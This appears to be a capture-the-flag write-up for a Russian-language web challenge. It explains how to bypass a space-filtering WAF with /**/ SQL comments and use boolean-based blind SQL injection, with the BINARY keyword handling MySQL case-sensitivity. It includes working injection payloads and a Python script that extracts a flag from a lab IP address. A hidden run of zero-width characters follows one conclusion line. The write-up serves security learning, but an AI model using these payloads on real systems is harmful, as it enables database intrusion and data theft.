Базовая авторизация 2 (Basic Auth 2)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | Author: XESXOR Techniques: Boolean-based blind SQL injection, Character-by-character extraction with substring(), MySQL case-sensitivity awareness (BINARY keyword), WAF bypass using SQL comments //

Summary

Walkthrough of the CUSTOM Web Базовая авторизация 2 (Basic Auth 2). Task: PHP login form with WAF filtering spaces in SQL queries. Solution: WAF bypass using SQL comments /**/ for boolean-based blind SQLi, character-by-character flag extraction with BINARY keyword for

Description

Я решил переделать свой прошлый проект и переписал его на PHP, а также добавил защитные фильтры. Держи тестовые креды: login=test, password=test.

URL: http://62.173.140.174:16015/

Analysis

1. Application review: PHP application with a login form that sends data to /user.php via GET method

2. Test credentials: Testing with test:test works, shows "User ID: 1"

3. SQL query in comments: Found a comment in the HTML source:

    html read-only • copy allowed Copy
   <!--SELECT * FROM users WHERE login='test'-->

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1. WAF detection: Basic SQL injections are blocked - WAF filters requests with spaces between SQL keywords

2. WAF bypass: SQL comments /**/ successfully replace spaces:

   '/**/or/**/'1'='1
   

Solution

Step 1: Confirming SQL Injection

login='/**/or/**/'1'='1&password=test

Result: User ID is returned - injection works!

Step 2: Database Structure Reconnaissance

Boolean-based blind SQLi to determine structure:

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# Check if flags table exists
'/**/or/**/(select/**/count(*)/**/from/**/flags)>0/**/--

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Step 3: Determining Flag Length

 python read-only • copy allowed Copy
'/**/or/**/(select/**/length(flag)/**/from/**/flags/**/limit/**/1)=29/**/--

Flag length: 29 characters

Step 4: Character-by-Character Flag Extraction

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#!/usr/bin/env python3
import requests

url = "http://62.173.140.174:16015/user.php"
flag = ""
charset = "CODEBY{}abcdefghijklmnopqrstuvwxyz0123456789_"

for pos in range(1, 30):
    for char in charset:
        payload = f"'/**/or/**/substring((select/**/flag/**/from/**/flags/**/limit/**/1),{pos},1)='{char}"
        params = {"login": payload, "password": "test"}
        r = requests.get(url, params=params)
        
        if "User ID" in r.text:
            flag += char
            print(f"[+] Position {pos}: {char} -> {flag}")
            break
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print(f"\n[*] Flag: {flag}")

Important Lesson: Case-Sensitivity in MySQL

Problem: When extracting characters, both 'A' and 'a' gave positive results!

Reason: MySQL performs case-insensitive string comparison by default.

Solution: Use the BINARY keyword for case-sensitive comparison:

 sql read-only • copy allowed Copy
binary/**/substring((select/**/flag/**/from/**/flags/**/limit/**/1),POS,1)='a'

The correct flag uses lowercase letters inside the curly braces.

WAF Bypass Techniques

MySQL Case-Sensitivity

 sql read-only • copy allowed Copy
-- Case-insensitive (default)
SELECT * FROM t WHERE col = 'ABC';  -- finds 'abc', 'ABC', 'Abc'

-- Case-sensitive
SELECT * FROM t WHERE BINARY col = 'ABC';  -- only 'ABC'

-- Alternative: comparison via ASCII
SELECT * FROM t WHERE ASCII(SUBSTRING(col,1,1)) = 65;  -- only 'A' (code 65)

Conclusions

1. WAF bypass: SQL comments /**/ - classic method to bypass space filters
2. Boolean-based SQLi: When there's no error output, use response differences
3. MySQL collation: Always consider case-sensitivity when extracting data
4. BINARY keyword: Required for exact character comparison in MySQL ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering Boolean-based blind SQL injection, Character-by-character extraction with substring(), MySQL case-sensitivity awareness (BINARY keyword), WAF bypass using SQL comments /**/ was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

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Crafted by XESXOR Research • 2026-01-03 • CUSTOM • Базовая авторизация 2 (Basic Auth 2) • Difficulty: Medium